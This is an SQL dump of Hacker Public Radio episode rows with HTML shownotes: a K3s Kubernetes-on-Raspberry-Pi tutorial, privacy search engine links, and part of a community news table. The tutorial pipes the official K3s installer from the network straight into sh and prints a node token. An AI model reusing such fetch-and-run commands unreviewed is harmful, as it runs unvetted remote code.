(3433,'2021-09-29','A Squirrels thoughts about RMS',2565,'RMS and the subject of freedom','<hr />\r\n<p>\r\n<strong><em>\r\nThis podcast was provided by <a href=\"correspondents.php?hostid=377\">Zen_Floater2</a> in his personal capacity. The opinions expressed in this podcast are the author\'s own and do not reflect the view of Hacker Public Radio.<br />\r\n<small><a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\">Shownotes Edited by Ken</a> on 2021-09-11T14:35:19Z to <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#explicit\">include disclaimer</a>.</small>\r\n</em></strong>\r\n</p>\r\n<hr />\r\n\r\n\r\n\r\n<p>\r\nA Squirrels thoughts about freedom and RMS.\r\n</p>\r\n<p>\r\nI also cover guns on aircraft. I cover smoking on aircraft.\r\n</p>\r\n<p>\r\nAnd I cover drinking beer on aircraft.\r\n</p>\r\n<p>\r\nAnd COBOL as well.\r\n</p>',377,0,1,'CC-BY-SA','RMS,Pedophilia,BEER',0,0,1),
(3434,'2021-09-30','From 0 to K8s in 30 minutes',1938,'Build a Kubernetes cluster, run a website, route traffic to website','<p><a href=\"https://people.centos.org/pgreco/\">Install CentOS</a> <a href=\"https://www.raspberrypi.org/software/\">or Debian</a> on a Raspberry Pi. I\'m using CentOS, but I\'ll admit that Debian is the easier option by far.</p>\r\n<p>Do this on 3 separate Pi units, each with the same specs.</p>\r\n<h2 id=\"set-hostnames\">Set hostnames</h2>\r\n<p>You must have unique hostnames for each Pi. Without unique hostnames, your cluster cannot function.</p>\r\n<p>There are several \"kinds\" of hostnames, so to avoid confusion I change all of them.</p>\r\n<p>I use a simple naming scheme: <code>k</code> for \"kubernetes\" + an integer, starting at 100 + <code>c</code> for \"cluster\":</p>\r\n<pre class=\"bash\"><code>$ sudo hostname k100c\r\n$ sudo sysctl kernel.hostname=k100c\r\n$ sudo hostnamectl set-hostname k100c\r\n$ sudo reboot\r\n</code></pre>\r\n<p>Do this for each Pi. At a minimum, you end up with Pi computers named k100c, k101c, and k102c.</p>\r\n<h2 id=\"set-verbose-prompts\">Set verbose prompts</h2>\r\n<p>When working with many different hosts, it\'s helpful to have a very verbose prompt as a constant reminder of which host you\'re connected to. Add this to the <code>~/.bashrc</code> of each Pi:</p>\r\n<pre><code>export PS1=\'\\[&#x005C;033[1;32m\\]\\! \\d \\t \\h:\\w \\n% \\[&#x005C;033[00m\\]\' \r\n</code></pre>\r\n<h2 id=\"install-a-pi-finder-script\">Install a Pi finder script</h2>\r\n<p>Install an LED blinker so you can find a specific Pi when you need one. This brilliant script is by Chris Collins for his article <a href=\"https://opensource.com/article/20/6/find-raspberry-pi\">Use this script to find a Raspberry Pi on your network</a>, which explains how to run it.</p>\r\n<pre class=\"bash\"><code>#!/bin/bash\r\n\r\nset -o errexit\r\nset -o nounset\r\n\r\ntrap quit INT TERM\r\n\r\nCOUNT=0\r\nLED=&quot;/sys/class/leds/led0&quot;\r\n\r\nif ! [ $(id -u) = 0 ]; then\r\n   echo &quot;Must be run as root.&quot;\r\n   exit 1\r\nfi\r\n\r\nif [[ ! -d $LED ]]\r\nthen\r\n  echo &quot;Could not find an LED at ${LED}&quot;\r\n  echo &quot;Perhaps try &#39;/sys/class/leds/ACT&#39;?&quot;\r\n  exit 1\r\nfi\r\n\r\nfunction quit() {\r\n  echo mmc0 &gt;&quot;${LED}/trigger&quot;\r\n}\r\n\r\necho -n &quot;Blinking Raspberry Pi&#39;s LED - press CTRL-C to quit&quot;\r\necho none &gt;&quot;${LED}/trigger&quot;\r\n\r\nwhile true\r\ndo\r\n  let &quot;COUNT=COUNT+1&quot;\r\n  if [[ $COUNT -lt 30 ]]\r\n  then\r\n    echo 1 &gt;&quot;${LED}/brightness&quot;\r\n    sleep 1\r\n    echo 0 &gt;&quot;${LED}/brightness&quot;\r\n    sleep 1\r\n  else\r\n    quit\r\n    break\r\n  fi\r\ndone\r\n</code></pre>\r\n<h2 id=\"install-k3s-on-your-control-plane\">Install K3s on your control plane</h2>\r\n<p>K3s is Kubernetes for IoT and Edge computing. It\'s the easiest, cleanest, and most serious method of getting Kubernetes on an ARM device. You can try other solutions (Microk8s, Minikube, OXD, and so on), but the best support comes from k3s.</p>\r\n<p>First, you must install k3s on one Pi. You can use any of your Pi units for this, but I use host k100c because it\'s the first in the sequence, so it feels logical.</p>\r\n<pre class=\"bash\"><code>[k100c]$ curl -sfL https://get.k3s.io -o install_k3s.sh\r\n[k100c]$ chmod 700 install_k3s.sh\r\n</code></pre>\r\n<p>Read the script to ensure that it seems to do what you expect, and then:</p>\r\n<pre class=\"bash\"><code>[k100c]$ ./install_k3s.sh\r\n</code></pre>\r\n<p>After installation, you\'re prompted to add some arguments to your bootloader. Open <code>/boot/cmdline.txt</code> in a text editor and add <code>cgroup_memory=1 cgroup_enable=memory</code> to the end of it.</p>\r\n<pre class=\"text\"><code>console=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p3 rootfstype=ext4 elevator=deadline rootwait cgroup_memory=1 cgroup_enable=memory\r\n</code></pre>\r\n<p>Reboot:</p>\r\n<pre class=\"bash\"><code>[k100c]$ sudo reboot\r\n</code></pre>\r\n<p>Once the Pi is back up, verify that your node is ready:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl get node\r\nNAME    STATUS  ROLES                  AGE\r\nk100c   Ready   control-plane,master   42s\r\n</code></pre>\r\n<p>This Pi is the \"control plane\", meaning it\'s the Pi that you use to administer your cluster.</p>\r\n<h2 id=\"get-the-node-token\">Get the node token</h2>\r\n<p>Obtain the control plane\'s node token. Thanks to k3s, this is autogenerated for you. If you not using k3s, then you must generate your own with the command <code>kubeadm token generate</code>.</p>\r\n<p>Assuming you\'re using k3s:</p>\r\n<pre class=\"bash\"><code>$ MYTOKEN=$(sudo cat /var/lib/rancher/k3s/server/node-token)\r\n$ echo $MYTOKEN\r\nK76351a1c2497d907ba7a156028567e0ccc26b82d2174161c564152ab3add6cc3fb::server:808771e4e695e3e3465ed9a14a0581da\r\n</code></pre>\r\n<h2 id=\"add-your-control-plane-hostname-to-your-hosts-file\">Add your control plane hostname to your hosts file</h2>\r\n<p>If you know how to manage local DNS settings, then you can use a DNS service to identify the hosts in your cluster. Otherwise, the easy way to make your nodes know how to find your control plane is to add the control plane\'s hostname and IP address to the <code>/etc/hosts</code> file on each node. This also assumes that your control plane has a static local IP address. For example, this is the host file of k101c and k102c:</p>\r\n<pre class=\"text\"><code>127.0.0.1  localhost.localdomain localhost\r\n::1        localhost6.localdomain6 localhost6\r\n\r\n10.0.1.100 k100c\r\n</code></pre>\r\n<p>Verify that each host can find the control plane. For example:</p>\r\n<pre class=\"bash\"><code>[k101c]$ ping -c 1 k100c || echo &quot;fail&quot;\r\n[k101c]\r\n</code></pre>\r\n<h2 id=\"add-nodes-to-your-cluster\">Add nodes to your cluster</h2>\r\n<p>Now you can add the other Pi computers to your cluster. On each Pi you want to turn into a computer node, install k3s with the control plane and token as environment variables. On my second Pi, for instance, I run this command:</p>\r\n<pre class=\"bash\"><code>[k101c]$ curl -sfL https://get.k3s.io | K3S_URL=https://k100c:6443 K3S_TOKEN=&quot;${MYTOKEN}&quot; sh -\r\n</code></pre>\r\n<p>On my third and final Pi, I run the same command:</p>\r\n<pre class=\"bash\"><code>[k102c]$ curl -sfL https://get.k3s.io | K3S_URL=https://k100c:6443 K3S_TOKEN=&quot;${MYTOKEN}&quot; sh -\r\n</code></pre>\r\n<h2 id=\"verify-your-cluster\">Verify your cluster</h2>\r\n<p>On your control plane, verify that all nodes are active:</p>\r\n<pre class=\"bash\"><code>% k3s kubectl get nodes\r\nNAME        STATUS     ROLES                  AGE     VERSION\r\nk100c       Ready      control-plane,master   2d23h   v1.21.4+k3s1\r\nk102c       Ready      &lt;none&gt;                 21h     v1.21.4+k3s1\r\nk101c       Ready      &lt;none&gt;                 20h     v1.21.4+k3s1\r\n</code></pre>\r\n<p>It can take a few minutes for the control plane to discover all nodes, so wait a little while and try the command again if you don\'t see all nodes right away.</p>\r\n<p>You now have a Kubernetes cluster running. It isn\'t doing anything yet, but it\'s a functional Kubernetes cluster. That means you have a tiny Pi-based cloud entirely at your disposal. You can use it to learn about Kubernetes, cloud architecture, cloud-native development, and so on.</p>\r\n<h2 id=\"create-a-deployment-and-some-pods\">Create a deployment and some pods</h2>\r\n<p>Now that you have a Kubernetes cluster running, you can start running applications in containers. That\'s what Kubernetes does: it orchestrates and manages containers. You\'ve may have heard of containers. I did an episode about Docker containers in episode 1522 of HPR, you can go listen to that if you need to catch up. I\'ve also done an episode on LXC in episode 371 of my own show, GNU World Order.</p>\r\n<p>There\'s a sequence to launching containers within Kubernetes, a specific order you need to follow, because there are lots of moving parts and those parts have to reference each other. Generally, the hierarchy is this:</p>\r\n<ul>\r\n<li>namespaces are the \"project spaces\" of kubernetes. I cover this in great detail in my GNU World Order episode 13x39.</li>\r\n<li>create a deployment that manage pods.</li>\r\n<li>pods are groups of containers. it helps your cluster scale on demand.</li>\r\n<li>services are front-ends to deployments. A deployment can be running quietly in the background and it\'ll never see the light of day without a service pointing to it.</li>\r\n<li>traffic, or exposure. A service is only available to your cluster until you expose it to the outside world with an external IP address.</li>\r\n</ul>\r\n<p>First, create a namespace for your test application to use.</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl create namespace ktest\r\n</code></pre>\r\n<p>The Kubernetes project provides an <a href=\"https://k8s.io/examples/application/deployment.yaml\">example Nginx deployment definition</a>. Read through it to get an idea of what it does. It looks something like this:</p>\r\n<pre class=\"yaml\"><code>apiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n  name: nginx-deployment\r\nspec:\r\n  selector:\r\n    matchLabels:\r\n      app: nginx\r\n  replicas: 2 # tells deployment to run 2 pods matching the template\r\n  template:\r\n    metadata:\r\n      labels:\r\n        app: nginx\r\n    spec:\r\n      containers:\r\n      - name: nginx\r\n        image: nginx:1.14.2\r\n        ports:\r\n        - containerPort: 80\r\n</code></pre>\r\n<p>This creates metadata named <code>nginx-deployment</code>. It also creates a label called <code>app</code>, and sets it to <code>nginx</code>. This metadata is used as <em>selectors</em> for pods and services later.</p>\r\n<p>For now, create a deployment using the example:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest \\\r\ncreate -f https://k8s.io/examples/application/deployment.yaml\r\n</code></pre>\r\n<p>Confirm that the deployment has generated and started new pods:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest get all\r\n3s kubectl --namespace ktest get all\r\nNAME                                  READY\r\npod/nginx-deployment-66b[...]   1/1   Running\r\npod/nginx-deployment-66b[...]   1/1   Running\r\n\r\nNAME                               READY\r\ndeployment.apps/nginx-deployment   2/2\r\n\r\nNAME\r\nreplicaset.apps/nginx-deployment-66b6c48dd5\r\n</code></pre>\r\n<p>See the pods labelled with <code>app: nginx</code>:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest \\\r\nget pods -l app=nginx\r\nNAME                                READY STATUS\r\nnginx-deployment-66b6c48dd5-9vgg8   1/1   Running\r\nnginx-deployment-66b6c48dd5-prgrf   1/1   Running\r\nnginx-deployment-66b6c48dd5-cqpgf   1/1   Running\r\n</code></pre>\r\n<h2 id=\"create-a-service\">Create a service</h2>\r\n<p>Now you must connect the Nginx instance with a Kubernetes Service.</p>\r\n<p>The <code>selector</code> element is set to <code>nginx</code> to match pods running the <code>nginx</code> application. Without this selector, there would be nothing to correlate your service with the pods running the application you want to serve.</p>\r\n<pre class=\"bash\"><code>[k100c]$ cat &lt;&lt; EOF | k3s kubectl \\\r\n--namespace ktest create -f -\r\napiVersion: v1\r\nkind: Service\r\nmetadata:\r\n  name: nginx-deployment\r\n  labels:\r\n    run: nginx-deployment\r\nspec:\r\n  ports:\r\n  - port: 80\r\n    protocol: TCP\r\n  selector:\r\n    app: nginx\r\nEOF\r\nservice/nginx-deployment created\r\n</code></pre>\r\n<p>Verify that the service exists:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest get svc nginx-deployment\r\nNAME       TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)   AGE\r\nnginx-deployment   ClusterIP   10.43.32.89   &lt;none&gt;        80/TCP    58s\r\n</code></pre>\r\n<p>A Service is backed by a group of Pods. Pods are exposed through endpoints. A Service uses POST actions to populate Endpoints objects named <code>nginx-deployment</code>. Should a Pod die, it\'s removed from the endpoints, but new Pods matching the same selector are added to the endpoints. This is how Kubernetes ensures your application\'s uptime.</p>\r\n<p>To see more information:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl \\\r\n--namespace ktest \\\r\ndescribe svc nginx-deployment\r\nName:              nginx-deployment\r\nNamespace:         ktest\r\nLabels:            run=nginx-deployment\r\nAnnotations:       &lt;none&gt;\r\nSelector:          app=nginx\r\nType:              ClusterIP\r\nIP Family Policy:  SingleStack\r\nIP Families:       IPv4\r\nIP:                10.43.251.104\r\nIPs:               10.43.251.104\r\nPort:              &lt;unset&gt;  80/TCP\r\nTargetPort:        80/TCP\r\nEndpoints:         10.42.2.8:80,10.42.2.9:80,10.42.3.7:80\r\nSession Affinity:  None\r\nEvents:            &lt;none&gt;\r\n</code></pre>\r\n<p>Notice that the <code>Endpoints</code> value is set to a series of IP addresses. This confirms that instances of Nginx are accessible. The IP of the service is set to 10.43.251.104, and it\'s running on port 80/TCP. That means you can log onto any of your nodes (referred to as \"inside the cluster\") to interact with your Nginx app. This does not work from your control plane, only from a node.</p>\r\n<pre class=\"bash\"><code>[k101c]$ curl https://10.43.251.104\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;Welcome to nginx!&lt;/title&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n</code></pre>\r\n<p>Nginx is accessible.</p>\r\n<p>The only thing left to do now is to route traffic from the outside world.</p>\r\n<h2 id=\"exposing-a-deployment\">Exposing a deployment</h2>\r\n<p>For a deployed application to be visible outside your cluster, you need to route network traffic to it. There are many tools that provide that functionality.</p>\r\n<p>Install metallb:</p>\r\n<pre class=\"bash\"><code>$ k3s kubectl apply \\\r\n-f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/namespace.yaml\r\n$ k3s kubectl apply \\\r\n-f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/metallb.yaml\r\n$ k3s kubectl create secret generic \\\r\n-n metallb-system memberlist \\\r\n--from-literal=secretkey=&quot;$(openssl rand -base64 128)&quot;\r\n</code></pre>\r\n<p>Determine what network range you want your cluster to use. This must not overlap with what your DHCP server is managing.</p>\r\n<pre class=\"bash\"><code>---\r\napiVersion: v1\r\nkind: ConfigMap\r\nmetadata:\r\n  namespace: metallb-system\r\n  name: config\r\ndata:\r\n  config: |\r\n    address-pools:\r\n    - name: address-pool-0\r\n      protocol: layer2\r\n      addresses:\r\n      - 10.0.1.1/26\r\n</code></pre>\r\n<p>Save this as <code>metallb.yaml</code> and apply the configuration:</p>\r\n<pre class=\"bash\"><code>$ k3s kubectl apply -f metallb.yaml\r\n</code></pre>\r\n<p>You now have a configmap for metallb, and metallb is running.</p>\r\n<p>Create a load balance service mapping your deployment\'s ports (port 80 in this case, which you can verify with <code>k3s kubectl -n ktest get all</code>). Save this as <code>loadbalance.yaml</code>:</p>\r\n<pre class=\"bash\"><code>---\r\napiVersion: v1\r\nkind: Service\r\nmetadata:\r\n  name: ktest-ext\r\n  namespace: ktest\r\nspec:\r\n  selector:\r\n    app: nginx\r\n  ports:\r\n    - protocol: TCP\r\n      port: 80\r\n      targetPort: 80\r\n  type: LoadBalancer\r\n</code></pre>\r\n<p>This service selects any deployment in the <code>ktest</code> namespace with an <code>app</code> name of <code>nginx</code>, and maps the container\'s port 80 to a port 80 for an IP address within your address range (in my example, that\'s 10.0.1.1/26, or 10.0.1.1-10.0.1.62).</p>\r\n<pre class=\"bash\"><code>$k3s kubectl apply -f loadbalance.yaml\r\n</code></pre>\r\n<p>Find out what external IP address it got:</p>\r\n<pre><code>$ k3s kubectl get service ktest-ext -n ktest\r\nNAME        TYPE           CLUSTER-IP     EXTERNAL-IP      PORT(S)\r\nktest   LoadBalancer   10.43.138.91   10.0.1.3                  80:31790/TCP\r\n</code></pre>\r\n<p>Open a web browser and navigate to the external IP address listed (in this example, 10.0.1.3).</p>\r\n<p><img src=\"https://gnuworldorder.info/tank/nginx-welcome.webp\" alt=\"Nginx\" /></p>\r\n',78,61,0,'CC-BY-SA','network, kubernetes, cloud',0,0,1),
(3438,'2021-10-06','Ten privacy friendly Google search alternatives.',551,'Google search is monopolistic here are some alternatives','<p>Here are links to all the search engines and related stuff discussed during this podcast,</p>\r\n<ul>\r\n<li>Searx: <a href=\"https://www.searx.me/\" class=\"uri\">https://www.searx.me/</a>\r\n<ul>\r\n<li>Searx public instances: <a href=\"https://searx.space/\" class=\"uri\">https://searx.space/</a></li>\r\n</ul></li>\r\n<li>Whoogle: <a href=\"https://github.com/benbusby/whoogle-search\" class=\"uri\">https://github.com/benbusby/whoogle-search</a>\r\n<ul>\r\n<li>Whoogle public instances: <a href=\"https://github.com/benbusby/whoogle-search#public-instances\" class=\"uri\">https://github.com/benbusby/whoogle-search#public-instances</a></li>\r\n</ul></li>\r\n<li>MetaGer: <a href=\"https://metager.org/\" class=\"uri\">https://metager.org/</a>\r\n<ul>\r\n<li>MetaGer browser extensions: <a href=\"https://metager.org/plugin\" class=\"uri\">https://metager.org/plugin</a></li>\r\n<li>MetaGer mobile apps: <a href=\"https://metager.org/app\" class=\"uri\">https://metager.org/app</a></li>\r\n<li>MetaGer privacy policy: <a href=\"https://metager.org/datenschutz\" class=\"uri\">https://metager.org/datenschutz</a></li>\r\n</ul></li>\r\n<li>Gigablast: <a href=\"https://gigablast.com/\" class=\"uri\">https://gigablast.com/</a>\r\n<ul>\r\n<li>Gigablast privacy policy: <a href=\"https://gigablast.com/privacy.html\" class=\"uri\">https://gigablast.com/privacy.html</a></li>\r\n</ul></li>\r\n<li>Private.sh: <a href=\"https://private.sh/\" class=\"uri\">https://private.sh/</a>\r\n<ul>\r\n<li>Private.sh privacy policy: <a href=\"https://private.sh/extension.html\" class=\"uri\">https://private.sh/extension.html</a></li>\r\n</ul></li>\r\n<li>Ecosia: <a href=\"https://www.ecosia.org/\" class=\"uri\">https://www.ecosia.org/</a>\r\n<ul>\r\n<li>Ecosia mobile apps: <a href=\"https://info.ecosia.org/mobile\" class=\"uri\">https://info.ecosia.org/mobile</a></li>\r\n<li>Ecosia privacy policy: <a href=\"https://info.ecosia.org/privacy\" class=\"uri\">https://info.ecosia.org/privacy</a></li>\r\n</ul></li>\r\n<li>Startpage: <a href=\"https://www.startpage.com/\" class=\"uri\">https://www.startpage.com/</a>\r\n<ul>\r\n<li>Startpage privacy policy: <a href=\"https://www.startpage.com/en/search/privacy-policy.html\" class=\"uri\">https://www.startpage.com/en/search/privacy-policy.html</a></li>\r\n</ul></li>\r\n<li>Qwant: <a href=\"https://www.qwant.com/\" class=\"uri\">https://www.qwant.com/</a>\r\n<ul>\r\n<li>Qwant Junior: <a href=\"https://www.qwantjunior.com/\" class=\"uri\">https://www.qwantjunior.com/</a></li>\r\n<li>Qwant browser extensions: <a href=\"https://help.qwant.com/help/qwant-search/add-qwant-on-desktop/\" class=\"uri\">https://help.qwant.com/help/qwant-search/add-qwant-on-desktop/</a></li>\r\n<li>Qwant privacy policy: <a href=\"https://about.qwant.com/en/legal/confidentialite/\" class=\"uri\">https://about.qwant.com/en/legal/confidentialite/</a></li>\r\n</ul></li>\r\n<li>Brave Search: <a href=\"https://search.brave.com/\" class=\"uri\">https://search.brave.com/</a>\r\n<ul>\r\n<li>Brave Search privacy policy: <a href=\"https://search.brave.com/help/privacy-policy\" class=\"uri\">https://search.brave.com/help/privacy-policy</a></li>\r\n</ul></li>\r\n<li>DuckDuckGo: <a href=\"https://duckduckgo.com/\" class=\"uri\">https://duckduckgo.com/</a>\r\n<ul>\r\n<li>DuckDuckGo browser extensions &amp; apps: <a href=\"https://duckduckgo.com/app\" class=\"uri\">https://duckduckgo.com/app</a></li>\r\n<li>DuckDuckGo privacy policy: <a href=\"https://duckduckgo.com/privacy\" class=\"uri\">https://duckduckgo.com/privacy</a></li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0773\">hpr0773 :: Interview with Gabriel Weinberg of DuckDuckGo</a></p>\r\n',397,74,0,'CC-BY-SA','searx, whoogle, metager, gigablast, private.sh, ecosia, startpage, qwant, brave, duckduckgo',0,0,1),
(3446,'2021-10-18','Speech To Text',1378,'I talk about converting HPR audio to text and tagging','<ul>\r\n<li><p>speech recognition</p></li>\r\n<li><p>machine_learning (ML)</p></li>\r\n<li><p>artificial_intelligence (AI)</p></li>\r\n<li><p>speech_recognition</p></li>\r\n<li><p>Natural Language Processing (NLP)</p></li>\r\n<li><p><a href=\"https://rmccurdy.com/stuff/NLP/\" class=\"uri\">https://rmccurdy.com/stuff/NLP/</a> ( example files )</p></li>\r\n<li><p>Some higher maf here that is above my head for now ...<br />\r\n<a href=\"https://towardsdatascience.com/using-keyword-extraction-for-unsupervised-text-classification-in-nlp-10433a1c0cf9\" class=\"uri\">https://towardsdatascience.com/using-keyword-extraction-for-unsupervised-text-classification-in-nlp-10433a1c0cf9</a></p></li>\r\n<li><p><a href=\"https://www.interviewquery.com/blog-keyword-extraction/\" class=\"uri\">https://www.interviewquery.com/blog-keyword-extraction/</a></p></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','AI,ML,scripting,audio',0,0,1),
(3721,'2022-11-07','HPR Community News for October 2022',3248,'HPR Volunteers talk about shows released and comments posted in October 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=411\" target=\"_blank\">Paul J</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=412\" target=\"_blank\">m0dese7en</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=413\" target=\"_blank\">CCHits.net Team</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3696\" target=\"_blank\">3696</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3696\" target=\"_blank\">HPR Community News for September 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3697\" target=\"_blank\">3697</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3697\" target=\"_blank\">Mis-information, Dis-information, and Fake News. You are a product and target for all of it.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3698\" target=\"_blank\">3698</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3698\" target=\"_blank\">Spectrogram</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3699\" target=\"_blank\">3699</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3699\" target=\"_blank\">Old and new videogames/board games with guest binrc</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3700\" target=\"_blank\">3700</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3700\" target=\"_blank\">Introduction to Batch Files</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3701\" target=\"_blank\">3701</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3701\" target=\"_blank\">ReiserFS - the file system of the future</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=411\" target=\"_blank\">Paul J</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3702\" target=\"_blank\">3702</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3702\" target=\"_blank\">Easter Ogg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3703\" target=\"_blank\">3703</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3703\" target=\"_blank\">McCurdy House Tour</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3704\" target=\"_blank\">3704</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3704\" target=\"_blank\">Follow up to hpr3685 :: Budget and an Android app</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3705\" target=\"_blank\">3705</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3705\" target=\"_blank\">The Year of the FreeBSD Desktop</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3706\" target=\"_blank\">3706</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3706\" target=\"_blank\">The Future of Technology</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3707\" target=\"_blank\">3707</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3707\" target=\"_blank\">Recovering a Massive 3.5 HP Electric Motor from a Treadmill</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3708\" target=\"_blank\">3708</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3708\" target=\"_blank\">Insomnia as a Hobby</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\" target=\"_blank\">TrumpetJohn</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3709\" target=\"_blank\">3709</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3709\" target=\"_blank\">Relationships to games and console generations</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=412\" target=\"_blank\">m0dese7en</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3710\" target=\"_blank\">3710</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3710\" target=\"_blank\">Changing Plans Again</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3711\" target=\"_blank\">3711</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3711\" target=\"_blank\">Cars</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3712\" target=\"_blank\">3712</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-25</td>\n<td><a 